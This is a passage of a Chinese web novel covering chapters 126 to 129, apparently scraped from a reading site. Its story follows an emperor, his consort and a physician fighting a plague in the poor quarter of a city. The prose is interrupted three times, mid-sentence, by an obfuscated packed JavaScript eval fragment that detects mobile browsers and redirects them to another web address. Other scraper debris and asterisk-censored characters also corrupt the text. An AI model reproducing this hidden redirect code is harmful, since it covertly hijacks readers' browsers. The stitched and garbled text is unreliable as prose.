“我要想娶她的人!”月清绝嘴角洋溢着自信的笑,手里的羽扇轻摇。 “就你?一个花心至极的、有事没事摇着一把破扇子的闷骚公子?”袭匀忍不住鄙夷。 月清绝一听,立即一把收了扇子,别在腰间,然后指着袭匀道:“你可以侮辱我的长相,但却不可以侮辱我的品格,你给我说清楚谁花心至极,本公子那叫风流倜傥,万花丛中过,片叶不沾身,那叫洒脱。至今你听说过本公子和哪家的姑娘拉扯不清?还有,本公子生得仪表堂堂,在长相上你也侮辱不了!” 袭匀不耐烦的掏了掏耳朵,他今日算是败在了月清绝这张嘴下。 “有本事咱们公平竞争。” 月清绝一甩刘海,应道:“竞争就竞争,本公子怕你不成,小丫头只能是我的!” 袭匀淡淡扫了他一眼,丢下一句“不自量力”便沿着刚才欢凉的方向走去。 用过早膳,月清绝研究了半天那半粒黑褐色的药丸,终于一拍桌案道:“我知道这药的成分是什么了!” “多长时间能配出药来?” 月清绝扫了眼北宫喆撇了撇嘴,这个人永远都是直切主题。 “配药很简单,但是有一味药这里没有,我得回一趟枫月谷。” “可是这一来一回,只怕要耗费不少时间。”安文夕蹙眉。 “这样吧,我给无**鸽传书,让她将药带来。” 北宫喆点点头,“目前也只能这样了。” 月清绝捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421692|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那半粒黑褐色的药丸,捶胸顿足道:“你们怎么直接给慕容清吃了半粒,严重浪费啊!”他不就晚来那么一会会么,他们就不声不响的将那半粒药丸喂了慕容清,他真是恨不得将药从慕容清肚子里给抠出来。 北宫喆从月清绝手中夺过那半粒药,装进小瓷瓶,看着安文夕道:“夕儿,朕得赶回济州,你就待在这里吧,毕竟瘟疫还没有蔓延到这里。” “不,我也要回去,这件事到底和我有关,我怎么能袖手旁观?”安文夕眼底浮现一抹决绝。 “好,你和朕一起去。”北宫喆见她一愣,又继续道,“到了济州,你若是想走,朕不拦你。” 安文夕抿了抿嘴角,率先走出了营帐。 月清绝看着安文夕的背影对北宫喆道:“真想不到有一天,你竟然可以为了一个女人如此委曲求全。” “朕愿意。”北宫喆扔下这三个字,跨出了营帐。 月清绝看着北宫喆拽拽的模样撇了撇嘴,这为情所困的男男女女都是一群疯子。嗯,他也是! 北宫喆临走之前,吩咐风明将慕容清看牢,然后为安文夕准备了辆马车,安文夕嫌马车太慢,直接在马厩里牵了匹马。 一路上北宫喆担心安文夕身体吃不消,从沐阳到济州足足用了四个时辰。 不过一日不见,济州上街上的患病之人明显少了很多,街上的医馆也陆续开放,不少病人正在排队问诊。 安文夕看着眼前这一幕,眼底横扫过一抹惊色。 “昨日青玄已经将事情办得差不多了。” “原本那些躺在街头上的患病之人呢?” “青玄将他们带到了城南。” “什么?”安文夕眉头一蹙。 “根据染上瘟疫人群的病情在城南民宅区分别进行隔丨离,不会将他们活活烧死的。” “我想去那里看看。” 北宫喆手中白绸一闪,直接将安文夕从另一匹马上带到自己身前,一起她一阵惊呼。 “北宫喆,你这是干什么?” “你不是要去城南么,朕带你去。”北宫喆说着双腿一夹马腹。 “我自己会骑马,不会你带,难不成你还怕我逃了不成?” “朕若是怕,就不会带你去城南。”北宫喆圈紧了她的纤腰,扬起了马鞭。 马上颠簸的厉害,安文夕便不再扭动,老实的坐在他身前,靠着他的胸膛,心里突然涌出一种安心的感觉。 月清绝对欢凉和袭匀道:“你们不如跟我回营,城南那里病患严重,多去一个人就多一分危险。” “月公子,欢凉是那种贪生怕死的人么?” “不是说怕死不怕死,青玄也在那里,你放心,你的公主是不会有事的。” 欢凉抿了抿嘴角,刚想朝着安文夕的方向策马,却被袭匀一下子挡住了去路,“臭丫头,他说的有道理,小师妹不会出事的,更何况,我们在那里也是累赘,还是先回去吧。” 月清绝看着欢凉调转了马头,笑道:“这就对了嘛,你帮我抓药配药也是一样的,也算是为这场瘟疫尽力了。” 第127章 城南瘟疫 第一百二十七章城南瘟疫 南城平民宅,位于济州郊外,这里向来是贫民窑,不仅环境又脏又乱,而且这里是三教九流鱼目混杂之地,在这里烧杀掳掠随处可见,只有流浪之人或者极度贫寒之人,才会被逼无奈来到这里。 如今,瘟疫横行,众多的瘟民涌进这里,一度使得这里的状况更加混乱了起来。 北宫喆带着安文夕骑马不过半个时辰,已经来到了南城,北宫喆将安文夕抱下了马,拉着她走进了平民宅。 说是平民宅,不过是零散的几处久经失修的茅草房,勉强可以容身而已。北宫喆刚走进去,就有人立即单膝下跪道:“属下参见皇上。” 安文夕认得这人,在青末山庄时,他曾多次阻拦她靠近竹林,好像叫作白羽。 因着刚进去民宅区,故而几乎没有人看到这一幕。 “皇上、瑾淑妃,这是白绢,你们带上之后再进去吧。” 安文夕接过他递来的白绢,蒙住了口鼻,这些白绢没有经过任何消毒,其实起不了什么作用。 进了平民宅,地上随处可见那些染了瘟疫的人有气无力的躺着,时而还可以听见他们痛苦的呻吟。因为贫民宅内的茅草屋稀少,许多人只能躺在地上,甚至是垃圾堆上。 安文夕看着他们痛苦挣扎的模样,心中一痛。 往前走了不远,一股恶臭便迎面而来,一条细窄的流水出现在了众人视线面前,这水本是一条从山上流下来的小溪,由于长期堆满垃圾的缘故,此时水面污浊不堪,俨然像一条臭水沟,有些人躺在溪流一旁,渴了直接就爬到水沟里喝点水。 幸好现在不是夏季,不然蚊蝇滋生,瘟疫会更加难以控制。 “这些都是一些瘟病比较严重的,如今只能在这里痛苦的等死。”白羽叹了口气。 “这里没有干净的水源了么?”北宫喆沉声问。 “回皇上,这里的水就是干净的也是被下了瘟病的。” “可以将水煮沸了再饮用,情况会好得多。”患有瘟疫的大多数是平民百姓,平时不注意,都是直接饮用河里打来的水,才会染病上身。 再往里走,是刚刚染上瘟疫的人群,才表现出来浅显的症状来,此时正忙着准备大家的晚饭。 前方传来一阵嘈杂,安文夕抬眸看去,离这里五百米处的角落里哭喊声一片。立在人群中青衣袂袂的男子正是青玄,而他的身边还有几个羽卫打扮的人。 “那里发生了何事?” “那里离人群较远,青大人选择那里焚烧尸体,有些人不忍看着家人被烧死,所以哭嚎一片。” 离得近了,安文夕才听见青玄和那几位羽卫正在耐心的劝服哀嚎不绝的死者家属。 “爹……求求你们不要烧我爹……” “娘子,大人,我家娘子她没死,她只是睡着了……” “求求你们,求求你们……” 不少人哭喊着要靠近那堆在一起的尸体,都被羽卫紧紧的拦在了外面。 “他们身上带着瘟病,你们不要靠近。” “他们的尸体若是不焚烧的话,尸体腐烂只会加重瘟疫,还会扩大瘟疫的蔓延。” “皇上!”有羽卫看见了北宫喆朝这里走来,立即单膝跪地道:“属下参见皇上!” 刚才正在哭喊的人群看了眼齐齐下跪的青玄等人,愣了神,转眸看到如冷颜绝绝,白若冠玉,俊美到极致却也冷**人到极点的北宫喆,不敢再看第二眼,顿时双腿一软,皆跪倒在地。 “皇……皇上……” “草民……草民参见皇上。” “皇上,求您不要烧我爹……”一个十几岁的小男孩跪在地上不停地磕头。 “都起来吧,你们若是不想死,就知道该如何做。”北宫喆清朗的声音在众人头顶响起。 这清润的嗓音令众人心中齐齐一震,顿时收住了哭声。 “但凡有想将尸体带走的朕绝不阻拦,现在你们就可以将自己的亲人带回家安葬,但若若是瘟疫蔓延的话,整个济州城将会变成一座空城,你们可要想好了!” 北宫喆话音一落,人群中顿时陷入一阵死寂。 半晌,有人小声道:“草民一切都听皇上的。” 有人开了头,接下来立即有人接着道:“一切都听皇上的。” 安文夕打量了眼眼前的人群,最后那个正在抹泪的男人正是他们那天借宿在那户人家的那位老实木讷的大叔。 安文夕立即走了过去道:“大叔。” 大叔抬头看了她一眼,半晌才认了出来道:“是你,公子你怎么会在这里?” 她身上依旧是凤公子那身男装,头发也全部束在了头顶,大叔没有认出她是女子也在情理之中。 “我随皇上来这里察看瘟疫情况,大婶她……”看着大叔伤心欲绝的模样,安文夕心中也已经猜到了几分,昨天她见时,大婶就已经一病不起了。 “你大婶她……”提到大婶,大叔立即泣不成声,“她今天早晨就……就不行了……” 大叔看着躺在一旁的大婶,眼泪纵横,“你怎么能抛下我一个人……” “大叔,您节哀……”安文夕抿了抿嘴角,低声劝道,“大婶她一定希望你能健康活着。” 大叔微微点了点头,看了安文夕一眼,然后看向北宫喆道:“草民全凭皇上做主。” 北宫喆看着那堆在一起的尸体,黑瞳骤缩,沉声道:“点火!” 远远地看着那堆尸体慢慢染成灰烬,许多人的眼睛通红一片,捂着嘴巴低声抽泣。 那火一直烧了半个时辰才慢慢熄灭,此时天色已暗,平民宅内开始掌了灯。 北宫喆将剩下的半粒药丸融进晚饭的稀粥里,给每个人分了一点,希望可以减缓瘟疫病情的恶化。 安文夕在贫民宅内走了一圈,双眸打量着四周的景象,对身侧的青玄道:“明日去医馆买些苍术和雄黄,在这里四处焚烧苍术,一定要生出烟来,将我们戴的这些白绢放上去熏烤。将雄黄研成细末撒在各个角落里,或者火烧烟熏,这样可以阻断瘟疫蔓延。” “是,瑾淑妃,青玄记下了。” “夕儿,你奔波整整一天了,上午都没有用膳,过 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江向晚在她的营帐内不停地踱着步子,脸上有抹焦急,喆从昨天去找安文夕,如今都整整一天了,怎么还没有一点消息。难道是被慕容清给劫在了沐阳不成,她心里越想越急。 “小姐小姐……”雪嫣急急忙忙的冲进了营帐内。 看着她****躁躁的样子,江向晚眼底闪过一抹不悦,莽莽撞撞的像个什么样子。瞥见她浮在脸上的喜色,江向晚压制心中的怒火,对雪嫣道:“是不是皇上有消息了?” 雪嫣点点头,“小姐,皇上回来了!” “回来了?”江向晚一颗悬着的心终于落了下来,心中涌起一阵巨大的喜悦,她转身欲跨出营帐去找北宫喆。 “小姐……”雪嫣立即拦住了她道:“小姐,皇上是和瑾淑妃一起回来的。” “那个女人也回来了?”江向晚闻言顿时眸光一凛。 雪嫣点点头,有些不敢去看江向晚的神色,自从小姐再次醒来以后,脾气就变得有差又火爆,以前那个温婉的小姐再也没有了,她常常生怕说错了话,惹得小姐厌烦。 她犹豫了一下道:“瑾淑妃不仅回来了,而是还是由皇上抱着回来的。” 江向晚闻言果然脸色一变,她握了握拳,没有发作。 “皇上抱着她进了主营帐,只怕现在……”只怕现在帝妃二人已经歇下了,小姐您去不太合适。 只是后面那半句,雪嫣是无论如何也不敢说的。 江向晚贝齿轻咬着红唇道:“我知道了,你下去吧。” 雪嫣看着江向晚极力隐忍怒气,心中突然又涌出一抹心疼来。 江向晚看着雪嫣吞吞吐吐的样子,脸色一沉,厉声道:“有话就说,杵在那里做什么?” “小姐,我听羽卫说,今**上带着瑾淑妃去了城南的贫民窑,一直忙道现在才回来。” 江向晚眼底飞快的闪过一抹精光来,对雪嫣淡吐道:“你去问一下明**上是否还会去贫民窑,若是去的话,大约什么时辰?” “奴婢知道了。” 雪嫣走后,江向晚不甘心的握着拳,纤长的指甲全部掐进肉里犹不自觉。 第128章 你笑什么 第一百二十八章你笑什么 “可惜了你蓄那么久的指甲了。”身后传来惊魂的声音,江向晚蓦然回头,惊道:“你怎么在这里?还是说,你一直都在?” “这都不重要,晚儿,你别再执迷不悟了,不要再去抓住那些虚幻的东西。” “虚幻?”江向晚嘴角勾起了一抹讥笑,“怎么是虚幻呢?喆可是千抬为聘,半年后,我就会成为大夏的皇后,这可是板上钉钉的事情!” “呵……”惊魂低低的笑了。 江向晚眉眼一敛,“你笑什么?” “我笑你傻。”惊魂嘴角幽默苦涩,她当真以为皇上会娶她为后么?是个人都可以看得出来皇上将一门心思全部放到了瑾淑妃身上,和皇上比肩携手的女子也只会是瑾淑妃。他笑她太傻太痴,被自己的心魔所困。真是当局者迷,旁观者清。 江向晚眸光一敛,声音骤然变冷,“你若是来给我说这个的话,就请回吧,不送!” “晚儿,你别生气,我今晚来是想跟你商量回承安一事。” “喆在这里,我是不会回承安的,要回你就自己回吧。”江向晚决绝道。 “晚儿,别赌气行吗?你身体刚刚好一点,你在这里只会给皇上添乱。”惊魂欲上前拉她。 江向晚倏地往后一退,皱眉道:“你做什么,难道你不知道男女授受不亲么,更何况我和喆已经定下婚姻。” 惊魂眼底划过一抹受伤,她的每一次对他避之不及,每一声“喆”都狠狠的刺痛了他的心。 “你放心,我在这里绝不会给喆添乱,相反,我还会尽我所能去帮助他,就像以前那样,他去哪,我就去哪,帮他处理好身边的琐事,夫唱妇随!” 呵,夫唱妇随…… 惊魂微微勾了勾唇,嘴角的笑意十分勉强,“既然如此,你早点休息。” 微风掀动了帐帘,将清油吹得影影幢幢,跳跃的油灯下,惊魂的背影别样的寂寥落寞。 主营帐内,安文夕睁开朦胧的睡眼,看了眼正准备为她脱衣的北宫喆,顿时清醒了过来。 “不用这么提防朕,朕只是给你脱衣服罢了。” “我自己来就好。”安文夕立即拒绝了北宫喆。 “你既然醒了,不如吃点东西吧,你除了早晨喝点了稀粥,一天都没有进食了。” “可是,我不饿。”安文夕说话时带着些睡意的朦胧,倒显出几分鲜有的娇嗔来。 “起来,朕让他们做点稀粥小菜来,你多少吃一点。”北宫喆一把将她从榻上拉了起来。 粥菜被端上来之后,安文夕早就困的不成样子,不过才喝了两口粥,就捧着粥碗,昏昏欲睡,差点将整张脸全部埋进碗里。 北宫喆无奈的叹了口气,直接将她抱上了床,安文夕再次恢复了一瞬间的清醒,看了北宫喆一眼,翻了个身找了个舒服的位置,便沉沉睡去。 北宫喆一阵皱眉,她怎么这么嗜睡了?难道是息子魂殇的缘故? 他褪下了衣衫,翻身上榻,一掌熄灭了摇曳的灯火,强劲的臂弯将她圈在怀中,安文夕也没有反抗,抱着他的胳膊睡得香甜。 虽然知道她是无意识的动作,但北宫喆还是在黑暗中勾起了嘴角。 第二日醒来,已经日上三竿,她的身边早已没有了北宫喆,由于昨天没怎么进食,今早醒来,腹中空空,饿得厉害,早膳的时候一阵狼吞虎咽。 用过早膳,她问了外面的侍卫才知道北宫喆早就去了城南,并且让侍卫嘱咐她今日不必再去南城,好好的睡一觉,安文夕的心中没由来的涌出一阵暖意。 好像,她真的是越陷越深,越来越没有勇气杀他了,这可怎么办?安文夕抿着唇坐在梳妆镜前,看着她早已光洁的额头,睫毛轻颤。她的额头已经和那块从北宫喆胸前剜下来的皮肉长在了一起,完全看不出半点痕迹。 难道就像他所说的那样,她永远也逃不开他么? “公主。”欢凉和袭匀掀开帐帘走了进来,安文夕立即收了神思。 “小师妹,你还不知道吧,慕容清逃走了。” 逃走了?安文夕微微一滞,慕容清狡猾多端,而那个曾经被她狠狠欺负了一次的风明刚正纯良,怎么会是那老奸巨猾慕容清的对手,他能逃走也在意料之中。 “你倒是一点也不紧张,你那日那样对他,你也不怕他来寻仇。” “就是我不那样对他,他也不会放过我。” “这个倒是。”袭匀点了点头。 安文夕这才发现欢凉一脸凝色,顿时开口道:“欢凉,你是不是有事要对我说?” “公主,晟世子留下了一封信,然后回了南昭。” 袭匀不动声色的低嗤了一声。 安文夕接过欢凉递来的信,扫了一眼,然后睡下了眼睑,睫毛轻颤。 信上说南昭王病重,藩王意图谋反,特令晟哥哥和香韵公主回朝。反正她一开始就不支持晟哥哥回来和慕容清结盟,如今他走了也好。 只不过…… 安文夕挽了黛眉,她曾用胭脂醉为凤青轩捞得了不少银两,招兵买马,筹集了五万人马,这件事她根本没有对晟哥哥提过,他怎么突然想借用她手中的人去南昭**藩王?难道这是子目告诉他的? 安文夕咬了咬唇,这到底借还是不借?不借的话要怎样跟晟哥哥开口,若是借的话,这五万人马势必是回不来了,她手中没有属于自己的势力,她真的有些不安心。 “公主,不能借,这些人已经是我们最后的底牌了。” “小师妹,欢凉说的对,这件事还得慎重。” 安文夕点点头道:“那便不借吧,你们随我一起去南城。” 江向晚一大早就和雪嫣赶在北宫喆之前跑来了南城,待看到民宅区内大楚痛处呻吟的人群,呼吸了几口污浊的空气后,江向晚微微皱了眉头,不愿再往前走,这里比她想象的要更加糟糕。 雪嫣有些害怕的拉了拉江向晚的衣角,她是真的不想进去,里面瘟疫横行,她不想将命扔在这里。她看到江向晚有些迟疑,立即抓住机会劝道:“小姐,我们回吧,你身子娇贵,这里是污秽之地,若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432337|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沾了什么不干净的东西,奴婢没有办法向左相大人和夫人交代啊。” 江向晚眸光一敛,轻咬着薄唇道:“这里那安文夕可以进得,我也可以!”语气中坚定非常。她自幼陪在喆身边,一路血雨腥风都过来了,这点瘟疫又算得了什么? 江向晚说完拉着雪嫣跨进了贫民宅,雪嫣顿时叫苦不迭。 “你若是不想去,就自己回大营吧。”江向晚看着雪嫣满脸的不情愿,凉凉的扔下了这句话。 “奴婢不敢。”雪嫣咬了咬唇,小心翼翼的跟在了江向晚身后。 青玄早就来到了这里,有了昨天安文夕的吩咐,今天他早就将苍术、雄黄等物准备妥当,并按照安文夕的吩咐进行熏烧,如今,整个贫民宅内,都弥漫着焚烧苍术和熏烧雄黄的味道。 他看到雪嫣搀着江向晚来到了这里,并确认皇上没有同来之时,脸上立即划过一抹惊讶,她怎么来了? 青玄立即迎了上去道:“江小姐。” “原来是青玄。”江向晚浅浅笑道。 “江小姐,皇上知道您来这里么?” “皇上并不知,如今沐阳交战,瘟疫横行,皇上操劳国事,我要为他分担些才是。”江向晚巧笑嫣然,一举一动,俨然一副皇后之尊。 青玄蓦地一滞,明白了江向晚的来意,心中不由得暗叹:江小姐您那身子衰败的厉害,您只要自个儿不出状况就不错了,怎么敢劳烦您来这里帮忙呢? “青玄,你带我进去吧,看看我在这里能做些什么?” 青玄抱拳道:“江小姐,青玄斗胆请您回营,这里环境不好,只怕会对江小姐身体不利。” “不妨事的,我现在已经好很多了。” 青玄犹豫了一下道:“江小姐,您现在的身体之所以稍稍恢复了些,是因为用了雪上冰莲,那可是惊魂豁出了命给您从幽冥山上取来的,您怎么也得好好珍惜惊魂的这份心意才是。” 江向晚心中一颤,挽了黛眉对青玄道:“那雪上冰莲是惊魂去幽冥山取来的?” “怎么,惊魂没有告诉你?” 江向晚微微摇了摇头,想起那日惊魂一脸狼狈的进了左相府,将手中的雪上冰莲递给她,当时他脸颊通红一片,她当时只当是他纵酒过度,原来不想是一路奔波,风寒所致。想到这里,她左胸口的地方顿时一涩。 惊魂蓦地从青玄身后走来,抿着嘴角对青玄道:“你跟她说这些做什么?”就是跟她说了又能如何,他的真心早就被这个冷漠无情的女人一次次无情的践踏。 江向晚咬了咬唇,抬眸对上惊魂的视线道:“惊魂,不管怎么说,谢谢你。” 对上她那双略带真诚的双眸,惊魂心中感到一阵讥讽与悲凉,他和她之间,难道只剩下了谢谢了么? “晚儿,回去吧。”惊魂淡吐道。 江向晚一愣,“惊魂,连你也要我走?你看看我根本没事,我在这里至少可以帮你们减轻一点负担啊。” “这里根本就用不着你!”一道略带冷意的润泽嗓音在江向晚的身后响起。 第129章 去幽冥山 第一百二十九章去幽冥山 江向晚蓦然回头道:“喆,你来了?”她的脸上顿时浮现一抹笑意。 “带她回营!”北宫喆对着惊魂吩咐道。 “喆,别赶我走,我只是想帮你而已,再说了我何时给你添过乱?”江向晚本想握住北宫喆的手,可是始终没有鼓起勇气,最后扯着他的衣袖,略带了些撒娇道。 北宫喆淡淡扫了她一眼,冷着一张脸没有开口。 江向晚咬了咬牙道:“喆,让我留下好吗,我先在这里待一个时辰,若是你觉得我留在这里是累赘,我立即就走,如果觉得我可以帮助大家,那就别赶我走!” 江向晚看着北宫喆的眼神决绝而坚定。 半晌,北宫喆淡吐了一个字节,“好。”随即撩开了步子。 江向晚立即跟了上去,惊魂凉凉的看着这一幕,眼底飞快的闪过一抹痛色,双拳微握,好一个夫唱妇随! 江向晚得到了北宫喆的许可,不怕辛苦的跟随青玄等人将那些戴的白绢放在苍术上熏烤,然后再一一分发给众人。 由于身子骨较弱,不多一会,江向晚脸上便开始浮现了阵阵倦意,但是看到不远处的北宫喆,身体里顿时又充满了力量,脸上也洋溢着幸福的笑容。 安文夕和欢凉袭匀匆匆赶到南城,看到的就是这幅景象,北宫喆一身月白长袍,白衣胜雪,眉目如画,宛若从画中走出来的谪仙一般,清冷峻拔,美好的令人难以靠近,和周围那腌臜的景致毫不相符。他身侧的女子正满目柔情的看着他,女子凤眼噙着笑意,虽然白绢掩面,却仍然看的到她眼底流泻出来的喜色,她的脸色苍白,眉宇之间也有些疲倦,宛如那病中西子,不禁令人怜爱三分。 当真是郎才女貌! 排队来领遮面白绢的众人皆不停地鞠躬道:“谢谢皇上,谢谢娘娘。” 北宫喆紧抿着唇,没有去在意众人的称呼,也许他的心里早就是默认了吧。正如江向晚所说,她才是他的妻! 安文夕看着这一幕心中突然闷得厉害,这么清晰的感觉,她骗不了自己。 眼睛有些涩涩的疼,安文夕蓦地转过身去,对身侧道:“走吧,我们去别处看看。” 欢凉看着安文夕脸上难掩的失落,心中一滞,公主果然还是放不下那北宫喆。 北宫喆抬眸看到安文夕的瘦弱的背影,立即停下了手中的动作,将白绢交给身边的人,然后追了上去。 “喆……”江向晚一直挂在嘴角的笑意顿时凝固,一时忘记了要将手中的白绢递给来人。 可是她现在正在忙着抽不开手,根本不能像北宫喆那样一走了之,她也没有勇气在这么多人的面前去追他,恨恨的攥着手中的白绢,眼底飞快的掠过一抹杀意。 北宫喆追上去拉住了安文夕的手道:“夕儿,你怎么来了,不是说了让你老实待在营帐里休息么?” 他不想她来,难不成怕她打扰了他们的二人世界?安文夕嘴角微微勾起了一抹讥讽。 “我就是想来看看而已。”安文夕不动声色的将手从他的手掌里抽离。 北宫喆看着她嘴角来不及收去的讥意,联想到刚才那幕,他心中顿时了然,原来她吃醋了! 可是这醋吃的不太明显,还是她掩饰的太好? “刚才朕和晚儿……” “若是没有什么事情的话,我要去那边了,你也赶紧回去吧。”安文夕直接打断了他的话,她不需要他的解释,这跟她无关。 北宫喆嘴角微勾的笑意扩大,果然是吃醋了! “你想去哪,朕陪你去。”北宫喆再次挽起她的手。 安文夕蓦地一惊,一下子甩开他的手手道:“不必了,他们还在等我。”安文夕咬了咬牙,立即加快了步伐,将北宫喆远远地甩在了身后。 北宫喆也不恼,慢慢的跟在她的身后。 平民宅北角,月清绝戴着白绢正在为人看诊,看到他们过来,立即将手边的白绢带给他们道:“你们怎么不戴上白绢呢,这里的空气污浊,万一染上瘟疫可怎么办呢?” 安文夕戴着月清绝递来的白绢,上面有一股淡淡的草香。 来此问诊的**多数都是刚染上瘟疫的人群,月清绝一一为他们把了脉,然后每人送一包草药和一粒药丸。 月清绝扫了他们一眼道:“这虽然不是解药,但是也能起到一部分作用,可以暂时压下病症。” 毕竟人多粥少,月清绝带的药一会便分发一空,幸好,他还带着药材过来。 “这样吧,我这里有药方,你们照着药方抓药。”月清绝从袖中取出药房递给安文夕道。 安文夕和欢凉袭匀三人顿时开始忙碌起来。 午时十分,太阳火辣辣的照着大地,本是初春的季节,阳光却十分毒辣,安文夕觉得一阵昏昏沉沉,阳光照得脑袋一阵阵发晕,突然,她的眼前一黑,她的身子不受控制的朝身后倒去。 “公主——” “小师妹——” 不远处那道月白的身影一闪,宛如一道闪电一般,便将安文夕稳稳地接到了怀中。 “夕儿……”北宫喆摸了摸安文夕的额头,烫的厉害,北宫喆顿时蹙了眉头。 “月清绝,你赶紧给她看看这是怎么回事?” 月清绝为安文夕探了脉,然后翻了翻安文夕的眼皮,里面布满了红色的血丝,脸色顿时沉了下去,“高烧,眼内有血丝,这是……这是瘟疫的症状……” 说道最后,月清绝的声音逐渐小了下去,他拉着安文夕的手腕,不可置信的道:“我再把一次脉,也许是我弄错了。” 他是枫月谷的少主,医术卓绝,怎么可能会诊错? 北宫黑瞳骤缩,眼中浮现灰白之色,喃喃道:“不必了。”他不由得抱紧了怀中的小人。偏偏身子弱,还那么倔强的来这里。他知道她将这次瘟疫的责任揽到自己身上,若是不让她来,她势必不会安心。 “公主……”欢凉听到瘟疫二字,眼眶一红,泪水止不住的往下流。然后怒视北宫喆道:“都是你害了公主,都是你!” 北宫喆利眸扫了过去,欢凉并无半点惧色,捂着嘴呜咽啜泣,“没有你的时候,公主什么事情都没有,自从你灭了大安,公主便不断的受伤……遭受各种各样的罪……公主以前是皇上的掌上明珠,真正的金枝玉叶,所有的委屈全都是你给的,你给的!”欢凉说道最后激动地一把拔出了腰间的长剑,抵住北宫喆。 北宫喆难得的没有动怒,听欢凉一一说完,看着那冰冷的剑锋朝他刺来,亦不躲不避。 欢凉说的没错,她这十六年都没有这半年多受的磨难多,她以前是安国君最宠爱的小公主,谁敢让她受委屈。的确,她所受的委屈都是他给的! “欢凉,你不要冲动!”袭匀立即拦住了欢凉手中的长剑,“你就是杀了他也无济于事,现在当务之急就是救小师妹。” 欢凉咬了咬唇,收了长剑。 月清绝将药包好递给北宫喆道:“赶紧带她回营吧。” 北宫喆没有迟疑,接过月清绝递来的药,抱着安文夕直接掠了出去,翩然上马,一手揽着她,一手握着缰绳。 他刚刚调转了马头,只听得身后传来雪嫣的声音道:“皇上,您快救救我家小姐,我家小姐晕倒了。” 北宫喆闻言眸光一沉,眉头紧锁,对雪嫣道:“去让惊魂送她回营。”然后说完,双腿狠狠地夹了下马腹,马蹄扬起阵阵尘土。 飞扬的黄尘顿时模糊了雪嫣的视线,她不禁呆在了原地,皇上就这么走了?竟然连问都不问一句,万一小姐要是染了瘟疫呢,皇上也不在乎么? 江向晚有气无力的靠在一旁,听到脚步声,也没有力气抬眸。刚才北宫喆在时,她不过是在勉力强撑罢了。北宫喆一走,她的信念也就坍塌了。 她的身体她自然知道,她拼上自己的身体去赌他的回眸,一如她所料,她输的狼狈至极。可是,她好不甘心呐! “小姐,小姐,你还好吗?”雪嫣吃力的搀扶起江向晚。 “我来吧。”惊魂将江向晚从雪嫣身上接了过来。 “惊大人!”雪嫣惊呼道,“皇上说,让您去送小姐回营。” 惊魂将江向晚打横抱起,看着她苍白如纸的脸色,蹙眉道:“这次你满意了?” 江向晚苦涩的勾了勾唇,无力地闭上了眼睛。 “身体到底是自己的,你又是何苦呢?” “我愿意,反正我这身子也破败极了,若是他都离开我了,我活着还有什么意思?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432338|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “晚儿,你不是为任何一个人而活,你是为了自己活得,明白么?” 江向晚勾唇,“这样的道理我怎会不懂,只是没有了他,就没有了一切。” 惊魂蓦地垂眸,晚儿,即使你没有皇上,你还会有我! 惊魂将江向晚带上马背道:“别说话,我带你回去,抓紧我的手!” 北宫喆带着安文夕回到了军营,把月清绝给他的药扔给了袭匀,然后将安文夕抱到了营帐内,打了热水开始一遍遍的为她擦身子。 安文夕身上的温度越来越高,北宫喆紧紧蹙了眉,润湿了巾帕擦着她开始干裂的嘴唇。 这次的确是他大意了,她从昨天精神就不好,整个人都带着疲倦,他怎么就没有往这上面想呢? “皇上,药熬好了。”欢凉端着药走进了营帐,眼睛红肿得像核桃,对着北宫喆的脸色不是太好。 北宫喆没有注意这一点,从欢凉手中接过药,试了试温度,然后放在一旁,小心的将安文夕扶起,用胳膊揽着她喂药。 可惜,安文夕牙关紧闭,怎么都喂不进去。 北宫喆含了一口药,迎着欢凉错愕的神色,覆到安文夕苍白干裂的唇瓣上,撬开她的唇舌,将嘴里的药悉数渡到她的嘴中。 北宫喆喂得很慢,每一次都要花费好大的功夫才能让她将药全部吞下去。 欢凉看着北宫喆专注的模样,心中微微一动,他竟然丝毫不怕传染,也不避嫌,就直接以口喂药。他能做到如斯地步,大抵也是深爱公主的吧。 欢凉瞥了眼那专注喂药的男人,抿了抿唇,径直出了营帐。 袭匀见她出来,问道:“都看到了?” 欢凉淡扫了他一眼,“怎么了?” “其实,北宫喆也算是个痴情种子。”袭匀叹了一口气。 半晌,欢凉看着营帐说道:“就算他现在对公主好又如何,有些伤痛一旦刻上了,便再也去不掉不是么?” 北宫喆衣不解带的守了安文夕一天一夜,安文夕虽然还没有醒,但身上的温度已经渐渐的退了下去。 江向晚稍稍恢复了些力气,吩咐雪嫣煎了药,提着药汤来到主营帐前,一时犹豫不前。 她昏睡了一夜,喆连看一眼都不曾,却一直守在这里,她想去看看他,但又怕看到她不想看到的一幕,伤了心。 她何时变得如此优柔寡断了,江向晚咬了咬下唇,掀开了帐帘,走进内室。 “喆……” 